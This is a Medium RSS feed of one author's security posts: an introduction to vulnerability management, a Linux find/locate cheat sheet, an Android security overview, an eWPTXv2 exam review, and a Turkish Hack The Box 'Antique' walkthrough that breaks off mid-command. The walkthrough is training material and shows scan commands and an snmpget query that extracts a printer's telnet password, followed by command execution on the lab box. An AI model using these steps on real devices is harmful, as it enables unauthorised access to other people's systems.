<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Burcu YARAR on Medium]]></title>
        <description><![CDATA[Stories by Burcu YARAR on Medium]]></description>
        <link>https://medium.com/@brcyrr?source=rss-9f1d75736c13------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*7hX5d9hO8TWYxf-K7ed1PQ@2x.jpeg</url>
            <title>Stories by Burcu YARAR on Medium</title>
            <link>https://medium.com/@brcyrr?source=rss-9f1d75736c13------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 06:35:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@brcyrr/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Learn by Apply: Vulnerability Management]]></title>
            <link>https://brcyrr.medium.com/learn-by-apply-vulnerability-management-61e098f7963f?source=rss-9f1d75736c13------2</link>
            <guid isPermaLink="false">https://medium.com/p/61e098f7963f</guid>
            <category><![CDATA[vulnerability-assessment]]></category>
            <category><![CDATA[risk-assessment]]></category>
            <category><![CDATA[compliance]]></category>
            <category><![CDATA[vulnerability-management]]></category>
            <category><![CDATA[risk-management]]></category>
            <dc:creator><![CDATA[Burcu YARAR]]></dc:creator>
            <pubDate>Tue, 31 Oct 2023 09:58:09 GMT</pubDate>
            <atom:updated>2023-10-31T09:58:09.266Z</atom:updated>
            <content:encoded><![CDATA[<p>Vulnerability Management is a critically important issue in the field of information security and it is one of my fields of expertise.😌 That’s why I decided to start this series of articles that will contribute to the community on this issue.🤓 In this first article that addresses the introduction to the issue, we will focus on the answers to the following questions.</p><ol><li>What is Vulnerability Management?</li><li>What is the role of Vulnerability Management in the organizational infrastructure?</li><li>How can we learn about Vulnerability Management by applying it?</li></ol><h3>1. What is Vulnerability Management?</h3><p>Vulnerability Management is an important process in the field of information security. It is a discipline used to detect, monitor, evaluate, and manage security vulnerabilities in organizations’ information systems. This process provides methods for identifying weaknesses and potential vulnerabilities in an organization’s information systems, understanding the risk of these vulnerabilities, and determining and implementing the steps necessary to reduce or eliminate these risks.</p><p>Vulnerability Management consists of the following basic steps:</p><ol><li><strong>Detection:</strong> The process of finding potential vulnerabilities in information systems.</li><li><strong>Assessment:</strong> The process of determining the severity and risk levels of detected vulnerabilities.</li><li><strong>Prioritization:</strong> The process of prioritizing detected vulnerabilities and prioritizing the most critical ones.</li><li><strong>Remediation:</strong> The process of applying necessary fixes and patches to fix or mitigate security vulnerabilities.</li><li><strong>Monitoring:</strong> The process of constantly monitoring security vulnerabilities in the system and performing continuous scanning and surveillance to detect new vulnerabilities.</li></ol><p>Regularly repeating these processes and keeping them updated ensures that the organization becomes more resilient against cyber-attacks by minimizing security vulnerabilities.</p><h3>2. What is the role of Vulnerability Management in the organizational infrastructure?</h3><p>Vulnerability Management plays a critical role in protecting organizations’ IT infrastructure.</p><p>Below are some key elements of this role;</p><h4><strong>Risk Management and Mitigation</strong></h4><p>Vulnerability Management helps organizations manage and reduce risks by identifying vulnerabilities in information systems. This protects the organization’s reputation and data, minimizing the risk of cyber attacks.</p><h4>Ensuring Compliance</h4><p>Organizations must comply with different industry regulations and standards. Vulnerability Management helps organizations meet these requirements and ensure their legal and industry compliance.</p><h4>Detection of Weak Points</h4><p>Conducts regular scans to detect weak points in the IT infrastructure of organizations and fix them. This helps prevent vulnerabilities that attackers could potentially use.</p><h4>Providing Resistance to Cyber Attacks</h4><p>Vulnerability Management continuously strengthens the organization’s IT infrastructure and makes it resistant to cyber-attacks. This provides the ability to react faster to potential threats.</p><h4>Cost and Business Continuity</h4><p>Reducing security vulnerabilities helps minimize costs and business continuity problems caused by data breaches and attacks. This increases the efficiency of business operations.</p><h4>Awareness and Training</h4><p>The Vulnerability Management process creates awareness within the organization and educates employees about security. This helps reduce vulnerabilities caused by human factors.</p><p>Execution of roles related to these core elements together ensures the effective implementation of the organization’s cyber security strategy and the protection of its IT infrastructure. Organizations can perform these processes with automated tools and manual audits.</p><h3>3. How can we learn about Vulnerability Management by applying it?</h3><p>Before you experience the subject in the organization you work for, you can learn it by applying it on the “<a href="https://www.productsecurity.ai/free-trial?utm_source=LinkedIn&amp;utm_medium=ProdSec+Academy&amp;utm_campaign=Burcu+Yarar&amp;utm_id=Free+Trial"><strong>ProdSec Academy</strong></a>” platform, which I also enjoy using and find very useful. The platform offers step-by-step guidance on this subject and great tips on how you can manage an organization’s vulnerability management process with its hands-on lab environment.</p><p>You can find great content about product safety on this platform. In this article, I will focus on Vulnerability Management content. For more, you can try the <a href="https://www.productsecurity.ai/free-trial?utm_source=LinkedIn&amp;utm_medium=ProdSec+Academy&amp;utm_campaign=Burcu+Yarar&amp;utm_id=Free+Trial"><strong>free trial</strong></a> version by registering from <a href="https://www.productsecurity.ai/free-trial?utm_source=LinkedIn&amp;utm_medium=ProdSec+Academy&amp;utm_campaign=Burcu+Yarar&amp;utm_id=Free+Trial"><strong>this link</strong></a><strong>.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Dsz4LU1cLZcCvY4X" /></figure><p>The <a href="https://www.productsecurity.ai/free-trial?utm_source=LinkedIn&amp;utm_medium=ProdSec+Academy&amp;utm_campaign=Burcu+Yarar&amp;utm_id=Free+Trial"><strong>Platform</strong></a> has compiled the Vulnerability Management course under 3 headings in a very instructive and concise manner. This allows you to follow the subject more fluently while learning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FzEywRM_Z0X8Up6f" /></figure><p>When you access the course content, it directs you to a page like the one below. This page expects you to start the lab and follow the step-by-step commands. In this way, platforms that directly improve our application skills are very valuable to us because our knowledge does not remain only in theory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*W_9PE3qMOCTPTSQH" /></figure><p>So why do I suggest this platform in particular?</p><p>🌟 Product safety is one of the most important and popular topics today.</p><p>🌟 It is difficult to find hands-on labs to learn a subject about product safety practically. This platform is based on this subject and has very rich content.</p><p>🌟 It is very important for us Cyber Security Experts to experience a topic in a lab environment before experiencing it in our organization.</p><p>If you would like to experience this platform, I’m sharing the link below where you can register for a <a href="https://www.productsecurity.ai/free-trial?utm_source=LinkedIn&amp;utm_medium=ProdSec+Academy&amp;utm_campaign=Burcu+Yarar&amp;utm_id=Free+Trial"><strong>free trial</strong></a>.</p><ul><li><a href="https://www.productsecurity.ai/free-trial?utm_source=LinkedIn&amp;utm_medium=ProdSec+Academy&amp;utm_campaign=Burcu+Yarar&amp;utm_id=Free+Trial"><strong>Free Trial Link</strong></a></li></ul><p>See you in the next article of the series!🤞🏻🌸</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61e098f7963f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding of Directory/Path in Linux]]></title>
            <link>https://infosecwriteups.com/finding-of-directory-path-in-linux-820be9ae759b?source=rss-9f1d75736c13------2</link>
            <guid isPermaLink="false">https://medium.com/p/820be9ae759b</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[kali-linux]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[offsec]]></category>
            <dc:creator><![CDATA[Burcu YARAR]]></dc:creator>
            <pubDate>Wed, 05 Oct 2022 07:47:36 GMT</pubDate>
            <atom:updated>2022-10-09T14:33:24.488Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QFTjiKOWbGaN211Kj4gh8w.png" /></figure><p>Hi everyone❗️</p><p>I have prepared this short article, which is like a cheat sheet, for those who are just starting out in the field of cyber security and who want to improve themselves.👩🏻‍💻📝 Pathfinding commands in Linux; penetration tests, CTF solutions or <a href="https://brcyrr.medium.com/recommendations-of-oscp-433a08c86f27">OSCP</a> etc. it is very important for us pentesters when preparing for certification exams.🎃 I hope you find it useful.🌟😌</p><h3>locate</h3><ul><li>The related command searches from a constantly updated database.</li><li>The “locate” command searches on the database file “<strong>/var/cache/locate/locatedb</strong>”.</li><li>That’s why we should always update the database before using it.</li><li>The command we should use to update the database is the “<strong>updatedb</strong>” command.</li><li>The “locate” command searches on the custom database in all possible locations.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rlexNvya8xY5urIn" /></figure><h3>which</h3><ul><li>The related command indicates in which directory the executable file belonging to a command or program is located.</li><li>It searches for directories defined in the <strong>$PATH</strong> environment variable for this operation and returns the full path if it finds a match.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4039DWcjWLaRPNI3" /></figure><h3>find</h3><ul><li>It performs file and directory searches on the specified criteria.</li><li>It does this recursively.</li></ul><pre>Syntax:<br><br>find &lt;directory&gt; &lt;parameter&gt; &lt;searched file/statement&gt;</pre><ul><li>Some parameters that can be used with the related command and their explanations are as follows.</li></ul><pre>Parameter:        Description:<br><br>name              name of searched file</pre><pre>iname             name of the searched file - case insensitive</pre><pre>type              Type of searched file <br>                  <br>                  f : regular file<br>                  d : directory<br>                  b : block file<br>                  c : character file<br>                  l : symbolic link</pre><pre>cnewer            files modified after the given date</pre><pre>amin              files accessed n minutes ago</pre><pre>cmin              file status changed n minutes ago</pre><pre>atime             files accessed &quot;n*24 hours&quot; ago</pre><pre>mtime             files processed in n days</pre><pre>ctime             files modified in n days</pre><ul><li>Case insensitive search for all files with filename “<strong>asd.txt</strong>” in the <strong>/root</strong> directory:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HMRfFv-_T6QlDw3s" /></figure><ul><li>Searching for all files with “<strong>777</strong>” permission under the <strong>/sbin</strong> directory:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wGMyUPffKk2Ak_ee" /></figure><ul><li>Finding and deleting “<strong>asd.txt</strong>” files under <strong>/root</strong> directory:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XNjKolRzGy2NMc1s" /></figure><ul><li><strong>{ }</strong> : The found files and directories will be placed between these brackets as parameters and the program specified immediately after exec will be run accordingly.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Inw-bfnLOsNE3yl2" /></figure><p>Happy hunting❗️🥂</p><h4>From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. <a href="https://weekly.infosecwriteups.com/">Join our weekly newsletter</a> to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=820be9ae759b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/finding-of-directory-path-in-linux-820be9ae759b">Finding of Directory/Path in Linux</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android Application Security || Penetration Tests - #1]]></title>
            <link>https://medium.com/vakifbank-teknoloji/android-application-security-penetration-tests-1-2da29240093d?source=rss-9f1d75736c13------2</link>
            <guid isPermaLink="false">https://medium.com/p/2da29240093d</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[mobile]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[mobile-app-testing]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Burcu YARAR]]></dc:creator>
            <pubDate>Fri, 02 Sep 2022 07:19:41 GMT</pubDate>
            <atom:updated>2022-09-23T06:29:48.634Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iWMRqmpoFRLoyeIvfAqJ_g.png" /></figure><p>Hi everyone!</p><p>As I promised in my “<a href="https://medium.com/@brcyrr/recommendations-review-of-emapt-819e72a27f06">Recommendations &amp; Review of eMAPT</a>” article, I’m here with the first article of the article series “Android Application Security || Penetration Tests”. 👩🏻‍💻</p><p>The related article is the first in its series. In the continuation of this series; Within the scope of Android Application Security, security vulnerabilities to be worthy of notice will be explained. Penetration test steps that must be performed to detect these security vulnerabilities will be explained in practice over vulnerable applications.</p><p>In addition, the related article series “<a href="https://medium.com/@brcyrr/recommendations-review-of-emapt-819e72a27f06">eLearn Security Mobile Application Penetration Tester — eMAPT</a>” is aimed to be a guide for people preparing for the certificate. 🌟</p><h3>Importance</h3><p>In our globalizing world, the number of applications used on mobile devices is increasing in direct proportion to the increasing use of smartphones in recent years. Now, users organize their daily routines by installing applications that will make their lives easier even for their most minimal needs. However, one of the most important points overlooked here is; How safe are these apps?</p><p>In general, due to any security vulnerability detected on the applications, even the personal data of the users on the device and even the institution data can be accessed if it is installed. At this stage, it is of great importance to perform penetration tests before the applications are put into the production environment.</p><h3>Android OS</h3><p>The main mobile operating systems used/in use from past to present are given below along with their developers.</p><ul><li>Android (Google)</li><li>iOS (Apple)</li><li>Windows Mobile (Microsoft)</li><li>Blackberry OS (IRV)</li><li>Symbian (Nokia)</li></ul><p>Among these operating systems are two commonly used operating systems; iOS and Android. This series of articles will progress through the Android operating system.</p><p>Android;</p><ul><li>Originally Android Inc. It was developed by Google but was acquired by Google in August 2005.</li><li>In November 2007, the first version was published by Google together with the Open Handset Alliance.</li><li>It is a Linux-based mobile operating system. So Linux basics like file permissions and filesystem apply to Android as well.</li><li>It is open source. So we can inspect the code directly.</li></ul><h3>Android Architecture</h3><h4>Android OS Layers</h4><p>There are several general layers in the Android operating system, each with a specific set of functionality. These layers are shown in the image below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/850/0*aPaMr2nEyg9CmyVj" /></figure><p>The details of these layers are briefly as follows;</p><ul><li>The Applications tier is where the individual applications you install and run are located.</li><li>The Application Framework layer provides system APIs for common functions routinely used by many applications. This includes functions to view visuals, share data, or access things like phone or GPS functionality.</li><li>The Libraries layer includes C and C++ libraries that handle low-level operations such as graphics drawing, network encryption, multimedia playback, and rendering.</li><li>The Android Runtime layer represents the domain of the operating system where the VM responsible for running applications resides. Android uses the Linux kernel for low-level tasks (such as memory management, and hardware drivers) and includes basic Java libraries. This layer contains the Core Libraries and the VM.</li><li>The Linux kernel is the lowest layer in Android architecture. This layer contains hardware information and drivers necessary for applications to run.</li></ul><h4>Android Virtual Machine</h4><p>Virtual machines are layers of abstraction between an application and the underlying Android device. Android apps are written in Java but compiled to platform-independent Dalvik EXecutable or DEX bytecode. Android VMs run DEX bytecode compiled directly from the original Java. Before KitKat, Android only used the Dalvik VM. With the release of KitKat, Android started using a new virtual machine: Android Runtime (ART). Android has phased out the Dalvik VM entirely with Lollipop. Both runtimes run on DEX bytecode, but ART has some new optimization features that were not available before.</p><p>A few of the benefits of using ART are as follows;</p><ul><li>The application runs faster as compilation is only done during installation.</li><li>Since native code is executed directly, ART reduces application startup time.</li><li>Garbage collection has been improved.</li><li>The performance of the battery is increased by using ART.</li></ul><h4>Android Security Model</h4><p>In the Android operating system, it is an important point to isolate the applications from each other for security reasons. For example; we may have different apps with different trust levels from different developers on the same device. At this stage, the X application on our device should not access the data of the Y application on our device.</p><p>With this in mind, in the Android operating system, each application is assigned a specific User ID or “UID” inherited from the underlying Linux operating system. This assignment is done dynamically during installation and essentially creates the identity of the application. Basically, the application can interact with any file belonging to the user ID, but not with others unless shared by another application or operating system.</p><p>This UID separation forms the basis of the Android Sandbox Model. It prevents anything other than the application itself, certain components of the operating system, or the “root” user from accessing the data. The Android Sandbox Model creates a separation of files and code execution between apps on the same device. It is implemented in the operating system rather than the VM. This allows the virtual machine to interact with native code in the same application without restrictions. This sandboxing can be accomplished as each application runs as a separate process under a separate UID.</p><p>In the next article of the series, the steps of performing Penetration Test Environment Setup will be given and Android File Structure will be examined in practice. 😈</p><p>See you in the next article❗️🥂</p><p>Happy hunting️❗</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2da29240093d" width="1" height="1" alt=""><hr><p><a href="https://medium.com/vakifbank-teknoloji/android-application-security-penetration-tests-1-2da29240093d">Android Application Security || Penetration Tests - #1</a> was originally published in <a href="https://medium.com/vakifbank-teknoloji">VakıfBank Teknoloji</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Recommendations & Review of eWPTXv2]]></title>
            <link>https://brcyrr.medium.com/recommendations-review-of-ewptxv2-66a114e450db?source=rss-9f1d75736c13------2</link>
            <guid isPermaLink="false">https://medium.com/p/66a114e450db</guid>
            <category><![CDATA[web]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[ine]]></category>
            <category><![CDATA[elearnsecurity]]></category>
            <dc:creator><![CDATA[Burcu YARAR]]></dc:creator>
            <pubDate>Thu, 31 Mar 2022 06:55:24 GMT</pubDate>
            <atom:updated>2022-03-31T06:55:24.555Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/309/1*DXi-mIjzXSs0y877pq3_nA.png" /></figure><p>Hi everyone!</p><p>As can be understood from the title; This article will include my review of the eWPTXv2 certification process and my recommendations based on my preparation process. Before going into details, there is one point I would like to point out; The biggest reason why I am writing about this certification process is that there are not “enough” resources on the internet regarding the relevant certificate. Therefore, before entering the details, I would like to thank the people who guide me by writing a review for this certificate — by shooting a video.</p><h3>Review</h3><p>You can obtain the <a href="https://elearnsecurity.com/product/ewptxv2-certification/">eWPTXv2</a> certificate in two ways; by taking the certification exam without the training (only by getting the voucher code) or by taking the certification exam by taking the training. If you have a certain level of experience in the field of web application security, if you have actively pentested for web applications, I think you can pass the certification exam directly without training (only by getting a voucher code) and be successful. However, if you do not have sufficient knowledge in this field or you know partially in theory but have never applied or applied but if you are not familiar with bypassing techniques, I recommend you to prepare for the certification exam by taking the training, because the documents are both instructive and aim to prepare you directly for the certification exam. If you are careful, you will realize that this training gives you the fish at some points while teaching you how to fish, as I mentioned in my <a href="https://brcyrr.medium.com/recommendations-review-of-emapt-819e72a27f06">eMAPT</a> review. 🤓</p><p>In general about the eWPTXv2 process; I think the documents are of high quality and efficient. My views on documents, training laboratory, and exam laboratory are as follows;</p><ul><li>I think that the training documents are of good quality and offer sufficient content within the scope of the exam.</li><li>Within the scope of training preparation, I think that there are good scenarios in the laboratory environment, but the lab environment is not stable.</li><li>I can say that the exam scenarios are successful, but the laboratory environment offered for the exam is not stable either. This can be frustrating during the exam. You should adjust your psychology with this situation in mind.</li></ul><p>The last information I will convey within the scope of the review; After applying for the certification process, you must take the exam within six months. If you have a certain level of background to enter this certification exam, I think that a month and a half will be enough for you to focus on only education issues, and to work in a planned and regular manner.</p><p>However, if you do not have enough experience, you should consider this time as x2. I recommend that you learn about the vulnerabilities in detail based on the cause and effect relationship.</p><h3>Preparation</h3><h4>Roadmap</h4><ul><li>As I mentioned above, if you have sufficient experience in this field, you can take the exam by focusing on the topics within the scope of the training, taking your bypassing notes, and getting your voucher code.</li><li>If you do not have enough knowledge and experience in this field, I would definitely recommend you to take the training. You can complete your process in the most efficient way by reading the documents, getting support from the videos where necessary, and doing the labs. These will be enough to get the certificate. At the same time, if you do not have a general experience within the scope of web application penetration tests, it would be better to take <a href="https://elearnsecurity.com/product/ewpt-certification/">eWPT</a> training first.</li></ul><h4>Useful Resources</h4><p>Under this title; There are resources where you can learn detailed information about web application security, eWPTXv2, and more, lab environments with vulnerabilities where you can reinforce by applying the techniques you have learned, and cheat sheets prepared in this area. I hope you find them useful too.</p><ul><li><a href="https://portswigger.net/web-security">https://portswigger.net/web-security</a></li><li><a href="https://pentesterlab.com/pro">https://pentesterlab.com/pro</a></li><li><a href="https://academy.hackthebox.com/modules">https://academy.hackthebox.com/modules</a></li><li><a href="https://www.hacksplaining.com/#_=_">https://www.hacksplaining.com/#_=_</a></li><li><a href="https://github.com/CyberSecurityUP/eWPTX-Preparation">https://github.com/CyberSecurityUP/eWPTX-Preparation</a></li><li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings">https://github.com/swisskyrepo/PayloadsAllTheThings</a></li><li><a href="https://cheatsheetseries.owasp.org/IndexTopTen.html">https://cheatsheetseries.owasp.org/IndexTopTen.html</a></li></ul><p>There is one point I would like to point out, especially under this title; Regardless of your experience range, I highly recommend PortSwigger Academy, among the above-mentioned resources, in terms of the quality content it offers.🔥</p><p>Another point I would like to point out is; In our globalizing world, web application security is of great importance for the security of both institutions and individuals. This importance is increasing day by day. There are many resources in this area where you can improve yourself. The resources I have chosen above will both support your process within the scope of this certificate training and contribute to your development independently of the certificate.👩🏻‍💻</p><h3>Exam</h3><h4>Details</h4><p>First of all, I would like to give brief information about the exam process;</p><ul><li>Exam: It takes a total of 14 days, including 7 days of exam + 7 days of reporting.</li><li>The exam offers a simulated penetration testing environment.</li><li>The exam aims to present a real-life scenario.</li><li>They expect you to find as many vulnerabilities as you can during the exam. However, first, the minimum requirements that you must meet during the exam are specified. You should definitely complete these.😈</li><li>You will learn a lot during the exam preparation stage as well as during the exam.</li></ul><h4>Tips and Tricks</h4><ul><li>As I mentioned in my <a href="https://brcyrr.medium.com/recommendations-review-of-emapt-819e72a27f06">eMAPT</a> certificate review, the first and perhaps the only sentence you should not forget; is “Nothing is asked of you that you have not been taught.” Therefore, adjust your perspective accordingly and do not worry unnecessarily, do not focus on the wrong points.👻</li><li>You tried to exploit the “X” vulnerability during the exam, but it didn’t work, and if you’re sure about the payload you sent, don’t forget to restart the lab environment. As I mentioned, the environment in which the exam scenario takes place is not stable.🥺</li><li>Do not forget to take screenshots with proof of the vulnerabilities you detected during the exam. This is important for the report you will present at the end of the exam.</li><li>Make sure that the report you submit at the end of the exam is as expected from you. As a result, all the vulnerabilities you detect during the exam will be included in this report. As a pentester, you will perform a web application penetration test on a company whose scope is communicated to you. As a result, the clearer the report you present, the better it will be for you. This is also important in real life. After all, you don’t want to describe a great success as a failure, do you?</li><li>You can create the generic content in your exam report by using the resources given under the “Useful Resources” above: vulnerability description, references, solution suggestions, etc.</li><li>The time offered for this exam (7 days) is more than enough. So don’t stress about it.</li><li>The exam scenario presented as I mentioned above is of high quality. Focusing on the training content and trying to identify the targets presented to you will move you forward in a short time.🎯</li><li>Finally, as I always say; never give up!😈🥂👩🏻‍💻</li></ul><p>When you apply all these, you will have your eWPTXv2 certificate.🌟</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*inRwgU4aviUXRLwD" /></figure><p>View verified achievement from @eLearnSecurity;</p><ul><li><a href="https://verified.elearnsecurity.com/certificates/bb2f2a44-abdf-4ab7-a641-cf81f109cfc2">https://verified.elearnsecurity.com/certificates/bb2f2a44-abdf-4ab7-a641-cf81f109cfc2</a></li></ul><p>Good luck!🥂👩🏻‍💻</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66a114e450db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box — Antique]]></title>
            <link>https://brcyrr.medium.com/hack-the-box-antique-42fc1da01148?source=rss-9f1d75736c13------2</link>
            <guid isPermaLink="false">https://medium.com/p/42fc1da01148</guid>
            <category><![CDATA[telnet]]></category>
            <category><![CDATA[hp]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[oscp]]></category>
            <dc:creator><![CDATA[Burcu YARAR]]></dc:creator>
            <pubDate>Fri, 04 Mar 2022 10:49:05 GMT</pubDate>
            <atom:updated>2022-03-04T10:55:44.903Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box — Antique</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/478/1*KqlILCblimzITlwoiePAkw.png" /></figure><h3>Port Tarama</h3><p>İlk olarak hedef sistem üzerinde full port tarama işlemi gerçekleştirilir.</p><h4>Full Port Tarama</h4><p>Gerçekleştirilen full port tarama işlemi sonrası açık olduğu tespit edilen portlar aşağıda verilmiştir.</p><pre>nmap -p- --open -vvv 10.10.11.107 -oN fps.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Le4t8alop4jHQ1HA" /></figure><p>Açık olduğu tespit edilen portlar:</p><pre>23/tcp</pre><h4>Versiyon Tarama</h4><p>Ardından açık olduğu tespit edilen portlar üzerinde versiyon ve script taraması gerçekleştirilmiştir.</p><pre>nmap -Pn -p 23 -sV -sC -vvv 10.10.11.107 -oN vs.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oX6LgEcUbZDocew0" /></figure><p>Gerçekleştirilen detaylı tarama işlemi sonucunda hedef sistem üzerinde var olduğu full port tarama işlemi esnasında tespit edilen telnet hizmeti için “JetDirect” detayı gözlemlenmiştir.</p><h3>Bilgi Toplama &amp; Zafiyetin Tespiti</h3><h4>Port 23</h4><p>Bu aşamada varsayılan olarak da 23 numaralı port üzerinde yer alan telnet hizmeti için numaralandırma işlemi gerçekleştirilmiştir.</p><pre>telnet 10.10.11.107</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/0*jQpk0Pqdcd-td1NJ" /></figure><p>Gerçekleştirilen numaralandırma işlemi sonrası telnet hizmetinin bir parola beklediği ve “HP JetDirect” yazısı ile karşıladığı gözlemlenmektedir. HP JetDirect kapsamında Google üzerinden gerçekleştirilen araştırmalarda karşılaşılan servisin printer servisi tarafından sağlanan bir arabirim olduğu tespit edilmiştir. Bu aşamada varsayılan olarak birkaç parola denemesi gerçekleştirilmiş ancak hepsinin başarısız olduğu gözlemlenmiştir. Ardından ilgili printer servisi üzerinde exploit araştırmaları gerçekleştirilmiştir.</p><p>Gerçekleştirilen araştırmalara ait örnek ekran görüntüsü aşağıda verilmiştir.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*P63BZs3vYpCwnYiw" /></figure><p>Yukarıdaki ekran görüntüsünde işaret edilen aşağıdaki URL üzerinde yer alan sayfadaki detaylar incelendiğinde SNMP hizmeti kullanılarak HP JetDirect için parola bilgisinin tespit edilmesine olanak sağlayan bir açıklığın var olduğu tespit edilmiştir.</p><ul><li><a href="https://www.irongeek.com/i.php?page=security/networkprinterhacking">https://www.irongeek.com/i.php?page=security/networkprinterhacking</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*oPlAB3i1KTWsoTYY" /></figure><p>İlgili açıklığın kullanılabilmesi için ilk olarak hedef sistem üzerinde SNMP hizmeti varlığının kontrol edilmesi gerekmektedir. SNMP hizmetinden kısaca bahsetmek gerekirse; Adından da anlaşılacağı üzere en temel tanımıyla SNMP basit bir ağ yönetim protokolüdür. İnternet protokolünün bir parçası olarak ve genellikle network yönetim sistemlerinde ağın ya da ağdaki cihazların durumlarını izlemek ve olası durumlarda ağ yöneticisinin hemen müdahale edebilmesini sağlamak için oluşturulmuş ve geliştirilmiştir. Uygulama katmanında hizmet vermektedir. Temel olarak üç bileşenden oluşmaktadır. UDP bazlı çalışmaktadır ve varsayılan olarak iki bağlantı noktası üzerinden hizmet vermektedir. Bunlar; 161/udp ve 162/udp portlarıdır.</p><p>Bu aşamada hedef sistem üzerinde UDP port tarama işlemi gerçekleştirilmiştir.</p><pre>nmap -Pn -sU — open -vvv 10.10.11.107 -oN udpscan.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/0*mCLFRE_TeGYriS2i" /></figure><p>Gerçekleştirilen port tarama işlemi sonrası hedef sistem üzerinde SNMP hizmetinin var olduğu gözlenmiştir. Ardından parolanın tespiti için yukarıda zafiyetin var olduğu tespit edilen sayfada yer alan saldırı adımı gerçekleştirilmiştir.</p><pre>snmpget -v 1 -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*gy75pQpo14wd4BX0" /></figure><p>“snmpget” komutunu hedef sistem için çalıştırdıktan sonra yukarıdaki ekran görüntüsünde de görüleceği üzere ilgili komut sonucu HEX olarak encrypt edilmiş bir yanıt dönmektedir. Bu aşamada aşağıda URL bilgisi verilen ilgili site üzerinden decrypt işlemi gerçekleştirilmiştir.</p><ul><li><a href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cqmY8lYLA9LG9J-g" /></figure><p>Yukarıdaki ekran görüntüsünde görüleceği üzere ilgili açıklık kullanılarak söz konusu printer hizmetine ait parola bilgisi decrypt işlemi sonrası açık olarak tespit edilmiştir.</p><h3>Zafiyetin İstismarı</h3><p>Tespit edilen parola bilgisi kullanılarak hedef sisteme giriş denemesi gerçekleştirilmiş ve başarılı bir şekilde login olunabilindiği gözlemlenmiştir. Ardından hedef sistem üzerinde çalıştırılabilecek komutların varlığı tespit edilmiştir. Aşağıdaki ekran görüntüsünde de görüleceği üzere hedef sistem üzerinde “exec” komutu çalıştırılabilmektedir. Hedef sistem üzerinde “exec id” komutu çalıştırılarak bulunulan kullanıcı için detaylar görüntülenmiştir.</p><pre>telnet 